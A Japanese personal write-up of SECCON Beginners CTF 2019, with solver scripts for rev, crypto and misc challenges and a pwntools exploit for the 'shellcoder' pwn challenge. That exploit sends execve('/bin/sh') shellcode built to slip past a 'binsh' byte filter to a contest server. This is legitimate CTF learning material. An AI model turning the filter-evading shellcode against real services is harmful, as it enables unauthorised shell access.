SECCON Beginners CTF 2019 Writeup
SECCON Beginners CTF 2019 Writeup
忙しくてCTFしてなかったので復帰戦、全然駄目になっていた。
解けたのは
- Rev
- Seccompare
- Leakage
- Linear Operation
- Crypto
- So Tired
- Party
- Misc
- containers
- Dump
だけ、1日目から8時間くらいやってあとはあきてしまった。 pwnが解けてないのほんと駄目。
以下Writeup。
[Rev] Seccompare
単純にstrcmpでフラグと比較しているので簡単に解けた。 ltraceを使ったけどstringsとか静的解析でもすぐ分かると思う。
[Rev] Leakage
解析してみると内部で難読化したフラグを一文字ずつ復号して比較する処理をしていた。 デバッガを使って文字の比較を誤魔化してやれば一文字ずつフラグが復号される。 それか一文字ずつ特定して一文字ずつ入力を合わせていってもいい、手間はあまり変わらない。
[Rev] Linear Operation
入力した文字列を、かなり面倒くさそうな変換処理で変換して比較している。 angrを使った、こういうときに便利。使い方がまったく分からないから勉強しないと...
コードは以下。
import angr p = angr.Project('./linear_operation') state = p.factory.entry_state() simgr = p.factory.simulation_manager(state) trg_addr = 0x0040cf78 avoid_addr = [0x0040cf86, 0x0040cbb0, 0x0040cbb6, 0x0040cbbc, 0x0040cbc2, 0x0040cbc8, 0x0040cbce, 0x0040cbd4, 0x0040cbda, 0x0040cbe0, 0x0040cbe6, 0x0040cbec, 0x0040cbf2, 0x0040cbf8, 0x0040cbfe, 0x0040cc04, 0x0040cc0a, 0x0040cc10, 0x0040cc16, 0x0040cc1c, 0x40cc22, 0x40cc28, 0x40cc2e, 0x40cc34, 0x40cc3a, 0x40cc40, 0x40cc46, 0x40cc4c, 0x40cc52, 0x40cc58, 0x40cc5e, 0x40cc64, 0x40cc6a, 0x40cc70, 0x40cc76, 0x40cc7c, 0x40cc82, 0x40cc88, 0x40cc8e, 0x40cc94, 0x40cc9a, 0x40cca0, 0x40cca6, 0x40ccac, 0x40ccb2, 0x40ccb8, 0x40ccbe, 0x40ccc4, 0x40ccca, 0x40ccd0, 0x40ccd6, 0x40ccdc, 0x40cce2, 0x40cce8, 0x40ccee, 0x40ccf4, 0x40ccfa, 0x40cd00, 0x40cd06, 0x40cd0c, 0x40cd12, 0x40cd18, 0x40cd1e, 0x40cd24] simgr.explore(find=trg_addr, avoid=avoid_addr) state = simgr.found[0] print(state.posix.dumps(0))
大量にある外れの分岐を探すのが一番面倒くさかった。
TODO: Radare2のマウスクリックでランダムな機能が実行される不具合の原因を特定する。
[Crypto] So Tired
zlibとbase64を繰り返し適用してるだけ、最初base64じゃないと思って無駄に時間を使った。 Pythonで解いた。
import base64 import zlib base64_txt = '' with open('encrypted.txt') as f: base64_txt = f.read() try: while True: base64_txt = zlib.decompress(base64.b64decode(base64_txt)) except Exception as e: print(base64_txt)
[Crypto] Party
暗号化処理をしているコードを見ると、秘密情報であるcoeff
の3つの値を変数とした連立方程式が作れることが分かる。
party = [p1, p2, p3], coeff = [c1, c2, c3], val = [v1, v2, v3]
とした場合、暗号化処理は次のようになる。
v1 = c1 + c2 * p1 + c3 * p1 * p1 v2 = c1 + c2 * p2 + c3 * p2 * p2 v3 = c1 + c2 * p3 + c3 * p3 * p3
val, party
は既知なので、c1, c2, c3
に関する3つの一次方程式が存在することになるので、あとは解くだけである。
桁が大きすぎて計算が面倒なのでPythonにやらせた。sympy便利。
import sympy from Crypto.Util.number import long_to_bytes [(x1, y1), (x2, y2) , (x3, y3)] = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)] c1 = sympy.Symbol('c1') c2 = sympy.Symbol('c2') c3 = sympy.Symbol('c3') expr1 = c1 + c2 * x1 + c3* x1 * x1 - y1 expr2 = c1 + c2 * x2 + c3* x2 * x2 - y2 expr3 = c1 + c2 * x3 + c3* x3 * x3 - y3 flag_num = sympy.solve([expr1, expr2, expr3])[c1] print(flag_num) print(long_to_bytes(flag_num))
[Misc] containers
Welcomeは問題じゃないので飛ばす。 Dockerのコンテナか何かかと思ったけど、どうも違うらしいので適当に抽出した。 作者っぽい人のツイート見る限りではオリジナルらしい?
foremost使った。
16進数値のクソ長いフラグを画像ごとにバラして答えとするのは悪い例だと思いますが。
ある程度意味のある文字列にしないと無駄に入力ミスするし順番の勘違いもしやすいし、コピペできない形式なら非推奨だってCTFの手引きに書いてある。
大人しくctf4b{th1s_1s_th3_fl4g}
みたいな形式にすれば良かったと思う、他の問題だとそういうフラグあったし。
[Misc] Dump
pcapファイル渡される、httpで通信してるっぽいので通信しているデータをwiresharkで取り出す。 webshellを使ってshで命令を実行、httpで結果を返信してるらしい。 命令を見てみるとflagをhexdumpで出力してるらしいので、単純にデコードする。 コードは以下。
dump_txt = '' with open('hexdump.txt', 'r') as f: dump_txt = f.read() dump_line = [line for line in dump_txt.split('\n') if line != ''] dump_str = [ch for ch in ' '.join(dump_line).split(' ') if ch != ''] dump = [int(ch, 8) for ch in dump_str] with open('recovery.bin', 'w') as f: f.write(''.join([chr(i) for i in dump]))
jpgらしいので画像として開いてフラグゲット。
[Pwn] shellcoder
終わったあとに解いた、送信したデータをそのまま実行するらしいのでシェルを起動するだけ。
だけなのだが"binsh"が含まれていると実行されないのと0x28バイトしか入力できない。
これらの制約を満すシェルコードを作る必要がある。
"binsh"については上位4bitと下位4bitを互い違いに加算するようにすれば誤魔化せる、長さは上手いこと調節したり。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './shellcoder' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('153.120.129.186', 20000) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== import time io = start() forbidden_chars = set('binsh') shellcode = ''' /* push '/bin///sh\x00' */ xor rax, rax mov rdx, rax mov rsi, rax push rax mov al, SYS_execve /* 0x3b */ mov rbx, 0x6070202060606020 mov rcx, 0x08030f0f0e09020f add rbx, rcx push rbx push rsp pop rdi syscall ''' payload = asm(shellcode) if len(payload) > 0x28: print("Length over: {:x}".format(len(payload))) exit(1) chrs = set(payload) if len(chrs.intersection(forbidden_chars)) != 0: print(chrs.intersection(forbidden_chars)) exit(1) if args.DEBUG: time.sleep(3) io.sendline(payload) io.interactive()
久しぶり過ぎて色々忘れていて面倒だった。